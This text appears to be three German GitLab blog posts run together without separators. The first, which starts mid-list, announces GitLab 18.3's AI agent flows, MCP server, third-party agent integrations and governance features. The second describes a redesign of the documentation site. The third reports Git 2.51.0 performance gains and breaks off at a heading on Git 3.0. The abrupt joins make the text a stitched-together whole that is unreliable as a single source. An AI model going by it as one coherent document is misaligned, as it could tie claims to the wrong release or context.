• Erstens erweitern wir die einheitliche Datenplattform um einen Knowledge Graph, der Code mit allen anderen unstrukturierten Daten indiziert und verknüpft, speziell optimiert für den agentischen Zugriff. KI lebt von Kontext, und wir glauben, dass dies nicht nur die Schlussfolgerungen und Inferenzen von Agenten beschleunigt, sondern auch kostengünstigere und qualitativ hochwertigere agentische Ergebnisse liefert.
• Zweitens fügen wir der bestehenden Control Plane eine wichtige Orchestration Layer in drei verschiedenen Teilen hinzu: Agenten und Flows können sich als Abonnenten für GitLab SDLC-Events registrieren, wir bauen eine neue Orchestrierungs-Engine, die speziell entwickelte Multi-Agenten-Flows ermöglicht, und wir stellen GitLab-Tools, Agenten und Flows über MCP und Standardprotokolle für beispiellose Interoperabilität zur Verfügung.
• Schließlich erweitern wir die GitLab-Erfahrung, um erstklassige Agenten und Agenten-Flows über den gesamten Software-Entwicklungslebenszyklus bereitzustellen. Sie können asynchrone Aufgaben an Agenten zuweisen, sie in Kommentaren mit @ erwähnen und benutzerdefinierte Agenten mit spezifischem Kontext für Ihre Workflows erstellen – aber noch wichtiger: GitLab liefert native Agenten für jede Entwicklungsphase und erschließt gleichzeitig ein reiches Ökosystem von Drittanbieter-Agenten. Dies schafft eine echte Mensch-zu-KI-Zusammenarbeit, bei der Agenten genauso natürlich zu bedienen sind wie menschliche Teammitglieder.

Sieh dir dieses Video an, um zu erfahren, was in 18.3 und darüber hinaus kommt, oder lies weiter.

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111796316?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab_18.3 Release_081925_MP_v1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Neu in GitLab 18.3

Mit 18.2 haben wir spezialisierte KI-Agenten eingeführt, die Entwicklern über den gesamten Software-Entwicklungslebenszyklus hinweg zur Seite stehen, sowie unseren Software Development Flow – eine leistungsstarke Funktion, die Nutzenden die Möglichkeit gibt, mehrere Agenten zu orchestrieren, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen.

GitLab 18.3 führt erweiterte Integrationen und Interoperabilität, mehr Flows und verbesserte Kontextwahrnehmung über den gesamten Software-Entwicklungslebenszyklus ein.

Erweiterte Integrationen und Interoperabilität

Wir bieten umfassende KI-Erweiterbarkeit sowohl durch erstklassige GitLab-Agenten als auch durch ein reiches Ökosystem von Drittanbieter-Agenten, alle mit vollem Zugriff auf Projektkontext und -daten. Dieser Ansatz erhält native GitLab-Workflows und Governance und bietet gleichzeitig die Flexibilität, bevorzugte Tools durch hochintegrierte Orchestrierung zwischen diesen Agenten und der GitLab-Kernplattform zu wählen. Teams erhalten erweiterte KI-Funktionalität bei gleichzeitiger Beibehaltung wichtiger Integrations-, Überwachungs- und Benutzererfahrungsvorteile.

• MCP-Server - Universelle KI-Integration: Der GitLab MCP-Server (Model Context Protocol) ermöglicht es KI-Systemen, sich sicher direkt in GitLab-Projekte und Entwicklungsprozesse zu integrieren. Diese standardisierte Schnittstelle eliminiert den Aufwand für benutzerdefinierte Integrationen und ermöglicht es KI-Tools – einschließlich Cursor –, intelligent innerhalb der bestehenden GitLab-Umgebung zu arbeiten. Siehe unsere Dokumentation für eine vollständige Liste der in 18.3 enthaltenen Tools. Dies ist erst der Anfang; weitere Tools sind für 18.4 geplant.

  Hinweis: Drittanbieter-Agenten sind GitLab Premium Beta-Funktionen und nur für GitLab Duo Enterprise-Kunden zur Evaluierung verfügbar.

"GitLab-Workflows direkt in Cursor zu bringen, ist ein entscheidender Schritt zur Reduzierung von Reibung für Entwickler. Durch die Minimierung des Kontextwechsels können Teams den Issue-Status überprüfen, Merge Requests einsehen und Pipeline-Ergebnisse überwachen, ohne jemals ihre Programmierumgebung zu verlassen. Diese Integration ist eine natürliche Ergänzung für unsere gemeinsamen Kunden, und wir freuen uns auf eine langfristige Partnerschaft mit GitLab, um die Entwicklerproduktivität weiter zu steigern."

- Ricky Doar, VP of Field Engineering bei Cursor

"Der MCP-Server und die CLI-Agent-Unterstützung von GitLab schaffen leistungsstarke neue Wege für die Integration von Amazon Q in Entwicklungsworkflows. Amazon Q Developer kann sich jetzt direkt über die Remote-MCP-Schnittstelle von GitLab verbinden, während Teams Entwicklungsaufgaben delegieren können, indem sie Amazon Q CLI einfach in Issues und Merge Requests mit @ erwähnen. Die robusten Sicherheits- und Governance-Funktionen, die in diese Integrationen integriert sind, geben Unternehmen das Vertrauen, KI-Coding-Tools zu nutzen und gleichzeitig ihre Entwicklungsstandards zu bewahren. Die Partnerschaft mit GitLab zeigt das kontinuierliche Engagement von AWS, das KI-Ökosystem zu erweitern und intelligente Entwicklungstools überall dort zugänglich zu machen, wo Entwickler arbeiten."

- Deepak Singh, Vice President of Developer Agents and Experiences bei AWS

• CLI-Agent-Unterstützung für Claude Code, Codex, Amazon Q, Google Gemini und opencode (Bring Your Own Key): 18.3 führt Integrationen ein, die es Teams ermöglichen, routinemäßige Entwicklungsarbeit zu delegieren, indem sie ihre Agenten direkt in Issues oder Merge Requests mit @ erwähnen. Wenn Entwickler diese KI-Assistenten erwähnen, lesen sie automatisch den umgebenden Kontext und Repository-Code und antworten dann auf den Kommentar des Nutzers entweder mit überprüfungsreifen Code-Änderungen oder Inline-Kommentaren. Diese Integrationen erfordern einen eigenen API-Schlüssel für die jeweiligen KI-Anbieter und halten alle Interaktionen nativ innerhalb der GitLab-Oberfläche, während gleichzeitig ordnungsgemäße Berechtigungen und Audit-Trails beibehalten werden.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111784124?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Third Party Agents Flows Claude Code"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

"Claude Code direkt in GitLab zu bringen, bringt KI-Unterstützung dorthin, wo Millionen von Entwicklern bereits täglich zusammenarbeiten und Code liefern. Die Möglichkeit, Claude direkt in Issues und Merge Requests zu erwähnen, beseitigt Reibung und behält gleichzeitig die Qualität durch menschliche Aufsicht und Überprüfungsprozesse bei. Dieses Update bringt die Fähigkeiten von Claude Code an mehr Orte, an denen Teams arbeiten, und macht KI zu einem natürlichen Teil ihres Entwickler-Workflows."

- Cat Wu, Claude Code Product Lead, Anthropic

"Mit der neuen Agenten-Integration von GitLab in 18.3 können Sie opencode innerhalb Ihrer bestehenden Workflows verwenden. Sie können opencode in einem Issue oder Merge Request mit @erwähnen und es führt Ihren Agenten direkt in Ihrer CI-Pipeline aus. Diese Möglichkeit, opencode so zu konfigurieren und auszuführen, wie Sie es möchten, ist die Art von Integration, von der wir wissen, dass die Open-Source-Community sie wirklich schätzt."

- Jay V., CEO, opencode

• Agentic Chat-Unterstützung für Visual Studio IDE und GitLab UI für alle Premium- und Ultimate-Kunden verfügbar: Mit 18.3 müssen Sie nicht mehr zwischen Tools wechseln, um auf die vollständigen Entwicklungslebenszyklus-Daten von GitLab zuzugreifen. Die erweiterten Integrationen bringen die volle Leistung von GitLab Duo sowohl in die GitLab-Benutzeroberfläche als auch in IDEs – die Unterstützung wird von JetBrains und VS Code auf Visual Studio erweitert. Dies hilft Entwicklern, im Flow zu bleiben und gleichzeitig auf reichhaltigen Projektkontext, Deployment-Historie und Team-Kollaborationsdaten direkt in ihrer bevorzugten Umgebung zuzugreifen.
• Erweiterte KI-Modell-Unterstützung: GitLab Duo Self-Hosted unterstützt jetzt zusätzliche KI-Modelle und gibt Teams mehr Flexibilität in ihren KI-unterstützten Entwicklungsworkflows. Sie können jetzt Open-Source-OpenAI-GPT-Modelle (20B und 120B Parameter) über vLLM auf Ihrer Rechenzentrums-Hardware oder über Cloud-Services wie Azure OpenAI und AWS Bedrock in Ihrer privaten Cloud bereitstellen. Zusätzlich ist Anthropics Claude 4 auf AWS Bedrock verfügbar.

Neue automatisierte Entwicklungs-Flows

GitLab Flows koordinieren mehrere KI-Agenten mit vordefinierten Anweisungen, um diese zeitaufwändigen, alltäglichen Aufgaben autonom zu erledigen, damit sich Entwickler auf die wirklich wichtige Arbeit konzentrieren können.

GitLab 18.3 kommt mit zwei neuen Flows:

• Issue to MR Flow ermöglicht automatisierte Code-Generierung vom Konzept bis zur Fertigstellung in Minuten: Dieser Flow konvertiert automatisch Issues in umsetzbare Merge Requests (MRs), indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und produktionsreifen Code zu generieren, der zur Überprüfung bereit ist – und verwandelt Ideen in überprüfbare Implementierungen in Minuten, nicht Stunden.

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111782058?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Issue to MR"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Convert CI File Flow für nahtlose Migrationsintelligenz: Der Convert CI File Flow rationalisiert Migrationsworkflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren. Dies eliminiert den manuellen Aufwand und potenzielle Fehler beim Neuschreiben von CI-Konfigurationen von Grund auf und ermöglicht es Teams, ganze Deployment-Pipelines mit Vertrauen zu migrieren. 18.3 umfasst Unterstützung für Jenkins-Migrationen. Zusätzliche Unterstützung ist für zukünftige Versionen geplant.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783724?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Convert to CI Flow"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Intelligenter Code und Suche

KI-Punktlösungen arbeiten typischerweise mit begrenzter Sichtbarkeit in isolierte Code-Schnipsel, aber der Knowledge Graph von GitLab bietet Agenten Umgebungskontext, um schnellere und intelligentere Antworten zu ermöglichen.

• Knowledge Graph für Echtzeit-Code-Intelligenz: Mit 18.3 liefert der Knowledge Graph von GitLab jetzt Echtzeit-Code-Indizierung für schnellere Code-Suchen und liefert genauere und kontextbezogene Ergebnisse. Durch das Verständnis der Beziehungen zwischen Dateien, Abhängigkeiten und Entwicklungsmustern über die gesamte Codebasis hinweg sind die Agenten darauf ausgelegt, Einblicke zu liefern, die menschliche Entwickler Stunden kosten würden – und dies ist nur der erste Schritt zur Erschließung der leistungsstarken Funktionen, die für den Knowledge Graph geplant sind.

Enterprise Governance

KI-Transparenz und organisatorische Kontrolle sind kritische Herausforderungen, die Teams davon abhalten können, KI-gestützte Entwicklungstools vollständig zu übernehmen, wobei 85% der Führungskräfte zustimmen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird.

Diese neuen Funktionen in 18.3 helfen, Bedenken hinsichtlich Daten-Governance, Compliance-Anforderungen und dem Bedarf an Transparenz in KI-Entscheidungsprozessen zu adressieren, damit Organisationen KI innerhalb ihrer bestehenden Sicherheits- und Policy-Frameworks integrieren können.

• Agent Insights für Transparenz durch Intelligenz: Das integrierte Agenten-Tracking bietet Einblick in die Entscheidungsprozesse von Agenten. Nutzende können Workflows optimieren und Best Practices durch transparentes Activity-Tracking befolgen.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783244?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Agent Insights"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• GitLab Duo Code Review für Self-Hosted: Dies bringt die Intelligenz von GitLab Duo zu Organisationen mit strengen Daten-Governance-Anforderungen, indem Teams sensiblen Code in kontrollierten Umgebungen behalten können.
• Hybrid-Modell-Konfigurationen für flexible KI-Bereitstellung: GitLab Duo Self-Hosted-Kunden können jetzt Hybrid-Modell-Konfigurationen verwenden, die selbst gehostete KI-Modelle über ihr lokales KI-Gateway mit den Cloud-Modellen von GitLab über das KI-Gateway von GitLab kombinieren und so Zugriff auf verschiedene Funktionen ermöglichen.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111783569?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Self Hosted Models Code Review"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

• Erweiterte Sicherheit mit OAuth-Unterstützung: Der MCP-Server umfasst jetzt vollständige OAuth 2.0-Authentifizierungsunterstützung, die sichere Verbindungen zu geschützten Ressourcen und sensiblen Entwicklungsumgebungen ermöglicht. Diese Implementierung folgt dem Entwurf der OAuth-Spezifikation für MCP und behandelt Autorisierungsflows, Token-Verwaltung und dynamische Client-Registrierung.

Secure by Design-Plattform: Governance, die skaliert

Echte Plattformsicherheit erfordert die konsistente Anwendung von Governance-Prinzipien über jede Ebene des Entwicklungslebenszyklus. Die gleichen Sicherheitsgrundlagen, die die KI-Adoption sicher machen – Least-Privilege-Zugriff, zentralisiertes Policy-Management, proaktive Überwachung und granulare Berechtigungen – müssen im gesamten SDLC eingebettet sein, um einen kohärenten Defense-in-Depth-Ansatz zu schaffen.

GitLab 18.3 stärkt die grundlegenden Kontrollen, die zum Schutz der gesamten Software-Supply-Chain beitragen, mit diesen neuen Updates:

• Benutzerdefinierte Admin-Rolle: Bietet granulare, zweckgebundene administrative Berechtigungen und ersetzt pauschalen Admin-Zugriff durch präzise Least-Privilege-Kontrollen. Anstatt pauschale administrative Privilegien zu gewähren, die Sicherheitsrisiken schaffen, können Organisationen jetzt spezialisierte Rollen erstellen, die auf spezifische Funktionen zugeschnitten sind – Plattform-Teams, die Runner und Monitoring verwalten, Support-Teams, die die Benutzerverwaltung handhaben, und Führungskräfte, die auf Dashboards und Nutzungsstatistiken zugreifen. Mit vollständigem Rollen-Lifecycle-Management über UI und API, Audit-Logging und automatisch generierter Dokumentation ermöglicht diese Funktion echte Least-Privilege-Administration bei gleichzeitiger Aufrechterhaltung der operativen Effizienz und Verbesserung der allgemeinen Instanzsicherheit.
• Compliance-Framework und Sicherheits-Policy-Management auf Instanzebene: Organisationen können jetzt eine dedizierte Compliance-Gruppe bestimmen, die die Befugnis hat, standardisierte Frameworks und Sicherheitsrichtlinien direkt auf Top-Level-Gruppen anzuwenden und die Durchsetzung automatisch auf alle ihre Untergruppen und Projekte zu kaskadieren. Dieser zentralisierte Ansatz eliminiert den Compliance-Adoptionsblocker des fragmentierten Policy-Managements bei gleichzeitiger Beibehaltung der Gruppenautonomie für zusätzliche lokale Richtlinien.
• Erweiterte Verletzungsberichte: Teams erhalten jetzt sofortige Benachrichtigungen, wenn nicht autorisierte Änderungen an MR-Genehmigungsregeln vorgenommen werden, Framework-Richtlinien keine ordnungsgemäßen Genehmigungen haben oder zeitbasierte Compliance-Kontrollen verletzt werden. Durch die direkte Verknüpfung von Verletzungen mit spezifischen Compliance-Framework-Kontrollen erhalten Teams umsetzbare Einblicke, die genau zeigen, welche Anforderung verletzt wurde, und verwandeln Compliance von einer reaktiven Checkbox-Übung in einen proaktiven, integrierten Teil des Entwicklungs- und Sicherheitsworkflows.
• Fein abgestimmte Berechtigungen für CI/CD-Job-Token: Ersetzt breiten Token-Zugriff durch granulare, explizite Berechtigungen, die CI/CD-Jobs nur Zugriff auf die spezifischen API-Endpunkte gewähren, die sie tatsächlich benötigen. Anstatt Jobs pauschalen Zugriff auf Projektressourcen zu gewähren, können Teams jetzt präzise Berechtigungen für Deployments, Pakete, Releases, Umgebungen und andere kritische Ressourcen definieren, wodurch die Angriffsfläche und das Potenzial für Privilegieneskalation reduziert werden.
• AWS Secrets Manager-Integration: Teams, die AWS Secrets Manager verwenden, können jetzt Secrets direkt in GitLab CI/CD-Jobs abrufen, was die Build- und Deploy-Prozesse vereinfacht. Secrets werden von einem GitLab Runner über OpenID Connect-protokollbasierte Authentifizierung abgerufen, maskiert, um Exposition in Job-Logs zu verhindern, und nach Gebrauch zerstört. Dieser Ansatz eliminiert die Notwendigkeit, Secrets in Variablen zu speichern, und integriert sich nahtlos in bestehende GitLab- und AWS-basierte Workflows. In enger Zusammenarbeit mit der Deutschen Bahn und dem AWS Secrets Manager-Team entwickelt, spiegelt diese Integration unser Engagement wider, Lösungen gemeinsam mit Kunden zu entwickeln, um reale Herausforderungen zu lösen.

Artifact Management: Sicherung der Software-Supply-Chain

Wenn Artefakte nicht ordnungsgemäß verwaltet werden, können kleine Änderungen große Konsequenzen haben. Veränderbare Pakete, überschriebene Container-Images und inkonsistente Regeln über Tools hinweg können Produktionsausfälle auslösen, Schwachstellen einführen und Compliance-Lücken schaffen. Für Enterprise DevSecOps ist sicheres, zentralisiertes Artifact Management unerlässlich, um die Software-Supply-Chain intakt zu halten.

Enterprise-Grade-Artifact-Schutz in 18.3

Aufbauend auf den umfassenden Package-Protection-Funktionen fügt GitLab 18.3 wichtige neue Funktionen hinzu:

• Conan-Revisions-Unterstützung: Neu in 18.3 bieten Conan-Revisionen Paket-Unveränderlichkeit für C++-Entwickler. Wenn Änderungen an einem Paket vorgenommen werden, ohne seine Version zu ändern, berechnet Conan eindeutige Identifikatoren, um diese Änderungen zu verfolgen, wodurch Teams unveränderliche Pakete beibehalten können, während die Versionsklarheit erhalten bleibt.
• Erweiterte Container Registry-Sicherheit: Nach der erfolgreichen Einführung von unveränderlichen Container-Tags in 18.2 sehen wir eine starke Unternehmensadoption. Sobald ein Tag erstellt wird, das einer unveränderlichen Regel entspricht, kann niemand – unabhängig von der Berechtigungsebene – dieses Container-Image ändern, wodurch unbeabsichtigte Änderungen an Produktionsabhängigkeiten verhindert werden.

Diese Verbesserungen ergänzen die bestehenden Schutzfunktionen für npm, PyPI, Maven, NuGet, Helm-Charts und generische Pakete und ermöglichen es Plattform-Teams, konsistente Governance über ihre gesamte Software-Supply-Chain zu implementieren – eine Anforderung für Organisationen, die sichere interne Entwicklerplattformen aufbauen.

Im Gegensatz zu eigenständigen Artifact-Lösungen eliminiert der integrierte Ansatz von GitLab den Kontextwechsel zwischen Tools und bietet gleichzeitig End-to-End-Nachverfolgbarkeit vom Code bis zur Bereitstellung, wodurch Plattform-Teams konsistente Governance über ihre gesamte Software-Delivery-Pipeline implementieren können.

Embedded Views: Echtzeit-Sichtbarkeit und Berichte

Da GitLab-Projekte an Komplexität zunehmen, navigieren Teams zwischen Issues, Merge Requests, Epics und Meilensteinen, um die Sichtbarkeit des Arbeitsstatus aufrechtzuerhalten. Die Herausforderung liegt darin, diese Informationen effizient zu konsolidieren und gleichzeitig sicherzustellen, dass Teams Echtzeitzugriff auf den Projektfortschritt haben, ohne den Kontext zu wechseln oder ihren Flow zu unterbrechen. Start der Echtzeit-Arbeitsstatussichtbarkeit in 18.3 Die Embedded Views von GitLab 18.3, unterstützt durch die leistungsstarke GitLab Query Language (GLQL), eliminieren den Kontextwechsel, indem sie Live-Projektdaten direkt in den Workflow bringen:

• Dynamische Ansichten: Fügen Sie Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests ein, die sich automatisch mit aktuellen Projektzuständen aktualisieren, jedes Mal wenn Sie die Seite laden.
• Kontextuelle Personalisierung: Ansichten passen sich automatisch mit Funktionen wie currentUser() und today() an, um relevante Informationen für den jeweiligen Betrachter anzuzeigen, ohne manuelle Konfiguration.
• Leistungsstarke Filterung: Filtern Sie nach 25+ Feldern, einschließlich Assignee, Autor, Label, Meilenstein, Gesundheitsstatus und Erstellungsdatum.
• Anzeigeflexibilität: Präsentieren Sie Daten als Tabellen, Listen oder nummerierte Listen mit anpassbarer Feldauswahl, Artikelbegrenzungen und Sortierreihenfolgen, um die Ansichten fokussiert und umsetzbar zu halten.

Im Gegensatz zu fragmentierten Projektmanagement-Ansätzen wurden Embedded Views so konzipiert, dass sie die Workflow-Kontinuität beibehalten und gleichzeitig Echtzeit-Sichtbarkeit bieten, wodurch Teams fundierte Entscheidungen treffen können, ohne den Fokus zu verlieren oder zwischen mehreren Tools und Schnittstellen zu wechseln.

Erfahre mehr über die neuesten Funktionen in GitLab 18.3.

Jetzt starten

GitLab 18.3 ist jetzt für GitLab Premium- und Ultimate-Nutzende auf GitLab.com und in selbstverwalteten Umgebungen verfügbar.

GitLab Dedicated-Kunden wurden jetzt auf 18.2 aktualisiert und können die mit GitLab 18.3 veröffentlichten Funktionen nächsten Monat nutzen.

Bereit, die Zukunft des Software Engineering zu erleben? Aktiviere Beta- und experimentelle Funktionen für GitLab Duo und beginne die Zusammenarbeit mit KI-Agenten, die den vollständigen Entwicklungskontext verstehen.

Neu bei GitLab? Starte noch heute die kostenlose Testversion und entdecke, warum die Zukunft des Software Engineering in der Zusammenarbeit zwischen Mensch und KI liegt, orchestriert durch die weltweit umfassendste DevSecOps-Plattform.

<p><small><em>Dieser Blogbeitrag enthält "zukunftsgerichtete Aussagen" im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den zukünftigen Ergebnissen oder Resultaten abweichen, die in den zukunftsgerichteten Aussagen ausgedrückt oder impliziert werden.</em></p> <p><em>Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von denen abweichen, die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthalten oder berücksichtigt werden, finden Sie unter der Überschrift "Risikofaktoren" und an anderen Stellen in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu revidieren oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, außer wenn dies gesetzlich vorgeschrieben ist.</em></small></p>

Auch und gerade für deutsche Entwicklungsteams: Diese Verbesserungen machen es einfacher, die englische Dokumentation zu nutzen. Dark Mode und die klarere Navigation helfen dabei, auch bei längeren Sessions die benötigten Informationen zu finden – ohne dass Sprachbarrieren durch schlechte UX verstärkt werden.

Die vier wichtigsten neuen Features

Der Dark Mode: Das meistgewünschte Feature ist endlich da. Du kannst zwischen hellen und dunklen Themes in der oberen rechten Ecke wechseln für bessere Lesbarkeit und weniger Augenbelastung.

Die Redesigned Navigation: Wir haben die primäre Navigation nach oben verschoben und die linke Sidebar umstrukturiert, damit unsere 2 300+ Seiten weniger überwältigend und besser auffindbar sind.

Das Simplified Feedback: Du kannst jetzt Thumbs-up/down-Feedback geben und Kommentare direkt auf jeder Dokumentationsseite hinzufügen.

Die Technical Debt Fixes: Dutzende kleiner, aber wirkungsvoller Fixes für Typography, Spacing, Code Blocks und visuelle Inkonsistenzen, die wir über die Jahre gesammelt haben.

Die Brand Alignment mit GitLab's Marketing-Site sorgt außerdem für eine einheitlichere Experience über alle GitLab Properties hinweg.

Warum jetzt? Das Fundament für Veränderung

Anfang des Jahres hat unser Documentation Engineering Team unter Leitung von Sarah German ein kritisches Replatforming-Projekt durchgeführt und von Nanoc zu Hugo migriert. Während diese Änderung für Teams größtenteils unsichtbar war, brachte sie dramatische Performance-Verbesserungen – 130x schnellere lokale Builds und 30x schnellere vollständige Builds – und bot die solide technische Grundlage für diese Verbesserungen.

Mit diesem Replatforming haben wir die Grundlage geschaffen, die es uns ermöglicht hat, uns auf User Experience-Verbesserungen zu konzentrieren, anstatt mit veralteter Infrastructure zu kämpfen.

Schauen wir uns die Änderungen genauer an.

Dark Mode

Möglicherweise die größte News für dieses Release: Dark Mode ist jetzt über die gesamte Dokumentationsseite verfügbar. Du änderst die Einstellung in der oberen rechten Ecke, und die Site merkt sich deine Präferenz. Für viele Teams macht Dark Mode Content einfacher zu lesen und reduziert Eyestrain.

Redesigned Navigation

Wir standen vor der großen Herausforderung, über 2 300 Seiten so zu organisieren, dass Teams nicht überwältigt werden. Unsere vorherige einzelne linke Navigation war zwar umfassend, aber schuf eine einschüchternde Experience:

Der neue Ansatz verschiebt die primäre Navigation nach oben und schafft kürzere, überschaubarere Table-of-Contents-Sections, die sich weniger überwältigend navigieren lassen:

So zeigen wir die Relationships zwischen Features besser, während einzelne Sections verdaulicher werden.

Simplified Feedback Mechanism

Wir haben den Feedback-Prozess vereinfacht. Anstatt zu verlangen, dass Teams die Docs-Site verlassen und GitLab Issues erstellen, können sie jetzt sofortiges Feedback mit Thumbs-up/down-Ratings und Comments direkt auf jeder Page geben. Scroll einfach auf jeder Dokumentationspage nach unten, um diese neue Functionality in Action zu sehen.

Style Updates und Technical Debt

Über die Jahre hatten sich kleine Style-Inkonsistenzen angesammelt – inkonsistente Padding in Lists, zusätzliche Spacing um Alerts und verschiedene Typography-Issues. Die sehen zwar klein aus, aber zusammen schufen sie eine subtil störende Experience für Daily Users.

Unsere Tabs und Code Blocks haben besondere Aufmerksamkeit bekommen und sind jetzt besser definiert.

Vorher sahen Tabs mit Code so aus:

Und jetzt, mit ein paar kleinen Tweaks, sehen sie so aus:

Diese Papercut-Fixes sind einzeln klein, aber zusammen schaffen sie eine viel poliertere, professionellere Experience.

Was kommt als nächstes?

Dieses Redesign zeigt, wie wir bei GitLab iterieren – wir shippen meaningful Improvements und bauen gleichzeitig für eine noch bessere Zukunft. Wir erwarten, die Struktur weiter zu verfeinern und Features hinzuzufügen, die Teams helfen, leichter zu finden, was sie brauchen.

User Feedback wird unsere nächsten Iterationen antreiben, und mit unserem neuen simplified Feedback Mechanism sind wir besser positioniert denn je, direkt von unseren Documentation-Teams zu hören.

Das Team

Das ganze Team hat an dieser Transformation gearbeitet. Kudos an UX Papercuts und Julia Miocene dafür, aus einer einfachen Anfrage eine umfassende Design Vision zu machen. Thanks an die Engineers im Technical Writing: Sarah German, Pearl Latteier und Hiru Fernando, die diese Designs zum Leben erweckt haben.

Das neue Design balanciert Information Density mit Visual Clarity, modernisiert unsere Site unter Beibehaltung von Usability- und Accessibility-Standards und ist ein großer Schritt nach vorn in User Experience und Visual Design.

Die wichtigste Neuerung: Git-Operationen werden bis zu 22-mal schneller - besonders bei großen Repositories mit vielen Branches profitieren Entwicklungsteams von erheblichen Performance-Verbesserungen.

Schauen wir uns diese und andere bemerkenswerte Änderungen in diesem Release an, einschließlich Beiträgen vom Git-Team bei GitLab und der breiteren Git-Community.

Massive Performance-Verbesserungen: Von Sekunden zu Millisekunden

Große Repositories mit tausenden von Branches standen vor einem schmerzhaften Engpass. Git-Operationen, die Referenzen aktualisieren, konnten mehrere Sekunden dauern - ein echter Produktivitätskiller für Teams mit umfangreichen CI/CD-Pipelines oder Monorepo-Workflows.

Git 2.51.0 ändert alles. Eine 10.000-Referenzen-Fetch-Operation, die 3,4 Sekunden dauerte, wird jetzt in 154 Millisekunden abgeschlossen:

VORHER: git-fetch mit 10.000 Referenzen
Time: 3.403 s ± 0.775 s

NACHHER: git-fetch mit 10.000 Referenzen  
Time: 154.3 ms ± 17.6 ms

ERGEBNIS: 22× schneller

Ähnlich dramatische Verbesserungen bei git-push:

VORHER: git-push mit 10.000 Referenzen
Time: 4.276 s ± 0.078 s

NACHHER: git-push mit 10.000 Referenzen
Time: 235.4 ms ± 6.9 ms

ERGEBNIS: 18× schneller

Wie wurde das erreicht?

Das Problem lag in der Art, wie Git Referenz-Transaktionen behandelte. Die Kommandos git-push(1) und git-fetch(1) erstellten eine separate Transaktion für jedes Referenz-Update, was enormen Overhead verursachte - jede Transaktion benötigte eine Initialisierungs- und Abbauphase und löste Auto-Komprimierungen aus.

Git 2.51.0 verwendet nun gebündelte Updates: Mehrere Referenzen werden in einer einzigen Transaktion aktualisiert, während einzelne Updates weiterhin fehlschlagen dürfen. Dies eliminiert den Overhead und skaliert linear mit der Anzahl der Referenzen.

Das Beste daran? Benutzer profitieren automatisch von diesen Verbesserungen, ohne Änderungen an ihrem Workflow vornehmen zu müssen.

Dieses Projekt wurde von Karthik Nayak geleitet.

Änderungen in Richtung Git 3.0

Vor 11 Jahren wurde Git 2.0 veröffentlicht, die letzte große Versionsfreigabe von Git. Obwohl wir keinen spezifischen Zeitplan für die nächste große Git-Veröffentlichung haben, enthält dieses Release Entscheidungen, die in Richtung Git 3.0 getroffen wurden.

Die Git 3.0-Release-Planung ermöglicht es uns, Breaking Changes zu planen und zu implementieren und diese der erweiterten Git-Community zu kommunizieren. Neben der Dokumentation kann Git auch mit diesen Breaking Changes kompiliert werden für diejenigen, die mit diesen Änderungen experimentieren möchten. Weitere Informationen finden Sie im BreakingChanges-Dokument.

Das Git 2.51.0-Release bringt einige bedeutende Änderungen in Richtung Git 3.0.

"reftable" wird Standard in Git 3.0

